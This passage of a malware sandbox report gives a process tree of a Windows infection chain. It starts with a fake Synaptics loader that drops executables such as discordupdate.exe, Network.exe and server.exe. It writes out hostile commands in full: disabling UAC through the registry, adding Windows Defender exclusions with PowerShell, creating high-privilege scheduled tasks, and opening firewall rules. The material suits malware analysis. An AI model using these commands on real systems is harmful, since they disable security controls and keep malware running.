                                                                        "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                                                                        3⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        • System Location Discovery: System Language Discovery
                                                                        • Modifies registry class
                                                                        • Suspicious use of WriteProcessMemory
                                                                        PID:3476
                                                                        • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
                                                                          4⤵
                                                                          • Downloads MZ/PE file
                                                                          • Executes dropped EXE
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          • Suspicious use of WriteProcessMemory
                                                                          PID:2416
                                                                          • C:\Users\Admin\AppData\Local\Temp\a\Update.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\a\Update.exe"
                                                                            5⤵
                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                            • Drops startup file
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            • System Location Discovery: System Language Discovery
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3560
                                                                          • C:\Users\Admin\AppData\Local\Temp\a\BQEHIQAG.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\a\BQEHIQAG.exe"
                                                                            5⤵
                                                                            • Executes dropped EXE
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:4808
                                                                            • C:\Windows\Temp\{2D44A5E1-CE3F-41E3-B407-C25AAE47781C}\.cr\BQEHIQAG.exe
                                                                              "C:\Windows\Temp\{2D44A5E1-CE3F-41E3-B407-C25AAE47781C}\.cr\BQEHIQAG.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\a\BQEHIQAG.exe" -burn.filehandle.attached=724 -burn.filehandle.self=728
                                                                              6⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              PID:4816
                                                                              • C:\Windows\Temp\{7E5989CC-6BBF-4997-8689-0DFECE7DF881}\.ba\DBDownloader.exe
                                                                                C:\Windows\Temp\{7E5989CC-6BBF-4997-8689-0DFECE7DF881}\.ba\DBDownloader.exe
                                                                                7⤵
                                                                                • Executes dropped EXE
                                                                                • Loads dropped DLL
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1820
                                                                                • C:\Users\Admin\AppData\Roaming\Helpdemo_vqz_test\DBDownloader.exe
                                                                                  C:\Users\Admin\AppData\Roaming\Helpdemo_vqz_test\DBDownloader.exe
                                                                                  8⤵
                                                                                  • Executes dropped EXE
                                                                                  • Loads dropped DLL
                                                                                  • Suspicious use of SetThreadContext
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious behavior: MapViewOfSection
                                                                                  PID:2988
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\SysWOW64\cmd.exe
                                                                                    9⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:1268
                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                      10⤵
                                                                                        PID:5748
                                                                            • C:\Users\Admin\AppData\Local\Temp\a\ApiUpdater.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\a\ApiUpdater.exe"
                                                                              5⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetThreadContext
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious behavior: MapViewOfSection
                                                                              PID:4612
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                6⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:4292
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                  7⤵
                                                                                  • UAC bypass
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Modifies registry key
                                                                                  PID:952
                                                                              • \??\c:\program files (x86)\internet explorer\iexplore.exe
                                                                                "c:\program files (x86)\internet explorer\iexplore.exe"
                                                                                6⤵
                                                                                  PID:5084
                                                                              • C:\Users\Admin\AppData\Local\Temp\a\99999.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\a\99999.exe"
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                PID:4628
                                                                                • C:\Users\Admin\AppData\Roaming\server.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\server.exe"
                                                                                  6⤵
                                                                                  • Drops startup file
                                                                                  • Executes dropped EXE
                                                                                  • Drops autorun.inf file
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  PID:1104
                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
                                                                                    7⤵
                                                                                    • Modifies Windows Firewall
                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:3096
                                                                              • C:\Users\Admin\AppData\Local\Temp\a\22.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\a\22.exe"
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • System Location Discovery: System Language Discovery
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                PID:1140
                                                                              • C:\Users\Admin\AppData\Local\Temp\a\discordupdate.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\a\discordupdate.exe"
                                                                                5⤵
                                                                                • Executes dropped EXE
                                                                                • Drops file in System32 directory
                                                                                PID:4792
                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                  "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                  6⤵
                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                  PID:4660
                                                                                • C:\Windows\system32\dll32\msinfo32.exe
                                                                                  "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                  6⤵
                                                                                  • Executes dropped EXE
                                                                                  • Drops file in System32 directory
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:1916
                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                    "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                    7⤵
                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                    PID:3484
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5HYSZnqqrUwh.bat" "
                                                                                    7⤵
                                                                                      PID:4188
                                                                                      • C:\Windows\system32\chcp.com
                                                                                        chcp 65001
                                                                                        8⤵
                                                                                          PID:1072
                                                                                        • C:\Windows\system32\PING.EXE
                                                                                          ping -n 10 localhost
                                                                                          8⤵
                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                          • Runs ping.exe
                                                                                          PID:3684
                                                                                        • C:\Windows\system32\dll32\msinfo32.exe
                                                                                          "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                          8⤵
                                                                                          • Executes dropped EXE
                                                                                          • Drops file in System32 directory
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:5512
                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                            "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                            9⤵
                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                            PID:5444
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VTc9eTEROb4i.bat" "
                                                                                            9⤵
                                                                                              PID:5708
                                                                                              • C:\Windows\system32\chcp.com
                                                                                                chcp 65001
                                                                                                10⤵
                                                                                                  PID:5820
                                                                                                • C:\Windows\system32\PING.EXE
                                                                                                  ping -n 10 localhost
                                                                                                  10⤵
                                                                                                  • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                  • Runs ping.exe
                                                                                                  PID:3728
                                                                                                • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                  "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                  10⤵
                                                                                                    PID:5652
                                                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                      "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                      11⤵
                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                      PID:5620
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FX5RiTCtN0ks.bat" "
                                                                                                      11⤵
                                                                                                        PID:5808
                                                                                                        • C:\Windows\system32\chcp.com
                                                                                                          chcp 65001
                                                                                                          12⤵
                                                                                                            PID:5352
                                                                                                          • C:\Windows\system32\PING.EXE
                                                                                                            ping -n 10 localhost
                                                                                                            12⤵
                                                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                            • Runs ping.exe
                                                                                                            PID:3776
                                                                                                          • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                            "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                            12⤵
                                                                                                              PID:5520
                                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                13⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:4188
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5ImYpK9rwbfi.bat" "
                                                                                                                13⤵
                                                                                                                  PID:2308
                                                                                                                  • C:\Windows\system32\chcp.com
                                                                                                                    chcp 65001
                                                                                                                    14⤵
                                                                                                                      PID:464
                                                                                                                    • C:\Windows\system32\PING.EXE
                                                                                                                      ping -n 10 localhost
                                                                                                                      14⤵
                                                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                      • Runs ping.exe
                                                                                                                      PID:2924
                                                                                                                    • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                                      "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                                      14⤵
                                                                                                                        PID:5052
                                                                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                          "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                          15⤵
                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                          PID:6048
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\J15xKitpPbqd.bat" "
                                                                                                                          15⤵
                                                                                                                            PID:4720
                                                                                                                            • C:\Windows\system32\chcp.com
                                                                                                                              chcp 65001
                                                                                                                              16⤵
                                                                                                                                PID:5808
                                                                                                                              • C:\Windows\system32\PING.EXE
                                                                                                                                ping -n 10 localhost
                                                                                                                                16⤵
                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                • Runs ping.exe
                                                                                                                                PID:3080
                                                                                                                              • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                                                "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                                                16⤵
                                                                                                                                  PID:6048
                                                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                    "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                                    17⤵
                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                    PID:4020
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9wzkq6jtFNQ0.bat" "
                                                                                                                                    17⤵
                                                                                                                                      PID:5828
                                                                                                                                      • C:\Windows\system32\chcp.com
                                                                                                                                        chcp 65001
                                                                                                                                        18⤵
                                                                                                                                          PID:1964
                                                                                                                                        • C:\Windows\system32\PING.EXE
                                                                                                                                          ping -n 10 localhost
                                                                                                                                          18⤵
                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                          • Runs ping.exe
                                                                                                                                          PID:956
                                                                                                                                        • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                                                          "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                                                          18⤵
                                                                                                                                            PID:5252
                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                              "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                                              19⤵
                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                              PID:5760
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\I1cby2j4igRX.bat" "
                                                                                                                                              19⤵
                                                                                                                                                PID:4868
                                                                                                                                                • C:\Windows\system32\chcp.com
                                                                                                                                                  chcp 65001
                                                                                                                                                  20⤵
                                                                                                                                                    PID:5436
                                                                                                                                                  • C:\Windows\system32\PING.EXE
                                                                                                                                                    ping -n 10 localhost
                                                                                                                                                    20⤵
                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                    • Runs ping.exe
                                                                                                                                                    PID:5444
                                                                                                                                                  • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                                                                    "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                                                                    20⤵
                                                                                                                                                      PID:1280
                                                                                                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                        "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                                                        21⤵
                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                        PID:2816
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\U4iJ6j2lQloH.bat" "
                                                                                                                                                        21⤵
                                                                                                                                                          PID:5344
                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                            22⤵
                                                                                                                                                              PID:5820
                                                                                                                                                            • C:\Windows\system32\chcp.com
                                                                                                                                                              chcp 65001
                                                                                                                                                              22⤵
                                                                                                                                                                PID:6068
                                                                                                                                                              • C:\Windows\system32\PING.EXE
                                                                                                                                                                ping -n 10 localhost
                                                                                                                                                                22⤵
                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                PID:2256
                                                                                                                                                              • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                                                                                "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                                                                                22⤵
                                                                                                                                                                  PID:4120
                                                                                                                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                    "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                                                                    23⤵
                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                    PID:4408
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1kj4pTejnGH6.bat" "
                                                                                                                                                                    23⤵
                                                                                                                                                                      PID:3356
                                                                                                                                                                      • C:\Windows\system32\chcp.com
                                                                                                                                                                        chcp 65001
                                                                                                                                                                        24⤵
                                                                                                                                                                          PID:4752
                                                                                                                                                                        • C:\Windows\system32\PING.EXE
                                                                                                                                                                          ping -n 10 localhost
                                                                                                                                                                          24⤵
                                                                                                                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                          • Runs ping.exe
                                                                                                                                                                          PID:2396
                                                                                                                                                                        • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                                                                                          "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                                                                                          24⤵
                                                                                                                                                                            PID:4344
                                                                                                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                              "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                                                                              25⤵
                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                              PID:1932
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ll6idhQmDBeo.bat" "
                                                                                                                                                                              25⤵
                                                                                                                                                                                PID:4560
                                                                                                                                                                                • C:\Windows\system32\chcp.com
                                                                                                                                                                                  chcp 65001
                                                                                                                                                                                  26⤵
                                                                                                                                                                                    PID:4756
                                                                                                                                                                                  • C:\Windows\system32\PING.EXE
                                                                                                                                                                                    ping -n 10 localhost
                                                                                                                                                                                    26⤵
                                                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                    • Runs ping.exe
                                                                                                                                                                                    PID:6548
                                                                                                                                                                                  • C:\Windows\system32\dll32\msinfo32.exe
                                                                                                                                                                                    "C:\Windows\system32\dll32\msinfo32.exe"
                                                                                                                                                                                    26⤵
                                                                                                                                                                                      PID:5584
                                                                                                                                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                                        "schtasks" /create /tn "Discordupdate" /sc ONLOGON /tr "C:\Windows\system32\dll32\msinfo32.exe" /rl HIGHEST /f
                                                                                                                                                                                        27⤵
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:1456
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2ewxncSsaNuO.bat" "
                                                                                                                                                                                        27⤵
                                                                                                                                                                                          PID:6576
                                                                                                                                                                                          • C:\Windows\system32\chcp.com
                                                                                                                                                                                            chcp 65001
                                                                                                                                                                                            28⤵
                                                                                                                                                                                              PID:6868
                                                                                                                                                                                            • C:\Windows\system32\PING.EXE
                                                                                                                                                                                              ping -n 10 localhost
                                                                                                                                                                                              28⤵
                                                                                                                                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                              • Runs ping.exe
                                                                                                                                                                                              PID:6652
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\Network.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\Network.exe"
                                                                                                                                                5⤵
                                                                                                                                                • Drops startup file
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Adds Run key to start application
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                PID:3916
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\Network.exe'
                                                                                                                                                  6⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  PID:5404
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Network.exe'
                                                                                                                                                  6⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  PID:5580
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Network.exe'
                                                                                                                                                  6⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  PID:5728
                                                                                                                                                • C:\Windows\System32\schtasks.exe
                                                                                                                                                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Network" /tr "C:\Users\Admin\AppData\Roaming\Network.exe"
                                                                                                                                                  6⤵
                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                  PID:6016
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\rea.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\rea.exe"
                                                                                                                                                5⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                PID:2620
                                                                                                                                                • \??\c:\program files (x86)\internet explorer\iexplore.exe
                                                                                                                                                  "c:\program files (x86)\internet explorer\iexplore.exe"
                                                                                                                                                  6⤵
                                                                                                                                                    PID:5088
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\MSystem32.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\MSystem32.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Adds Run key to start application
                                                                                                                                                  • Checks whether UAC is enabled
                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                  PID:2404
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    "schtasks.exe" /create /f /tn "WAN Service" /xml "C:\Users\Admin\AppData\Local\Temp\tmpF1C2.tmp"
                                                                                                                                                    6⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:5168
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    "schtasks.exe" /create /f /tn "WAN Service Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmpF2AE.tmp"
                                                                                                                                                    6⤵
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:5240
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\SharpHound.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\SharpHound.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:5172
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\mod.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\mod.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:5284
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\Server.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\Server.exe"
                                                                                                                                                  5⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:3668
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                    6⤵
                                                                                                                                                    • Drops startup file
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                    PID:5500
                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                      7⤵
                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:3296
                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                      7⤵
                                                                                                                                                        PID:5812
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                          8⤵
                                                                                                                                                            PID:6068
                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                              9⤵
                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                              PID:5456
                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                              9⤵
                                                                                                                                                                PID:5756
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                  10⤵
                                                                                                                                                                    PID:2396
                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                      11⤵
                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                      PID:5732
                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                      11⤵
                                                                                                                                                                        PID:3908
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                          12⤵
                                                                                                                                                                            PID:5532
                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                              13⤵
                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                              PID:5496
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                              13⤵
                                                                                                                                                                                PID:5528
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                  14⤵
                                                                                                                                                                                    PID:2576
                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                      15⤵
                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                      PID:5072
                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                      15⤵
                                                                                                                                                                                        PID:2680
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                          16⤵
                                                                                                                                                                                            PID:5208
                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                              17⤵
                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                              PID:564
                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                              17⤵
                                                                                                                                                                                                PID:5412
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                                  18⤵
                                                                                                                                                                                                    PID:2884
                                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                                      19⤵
                                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                                      PID:4756
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                                      19⤵
                                                                                                                                                                                                        PID:1108
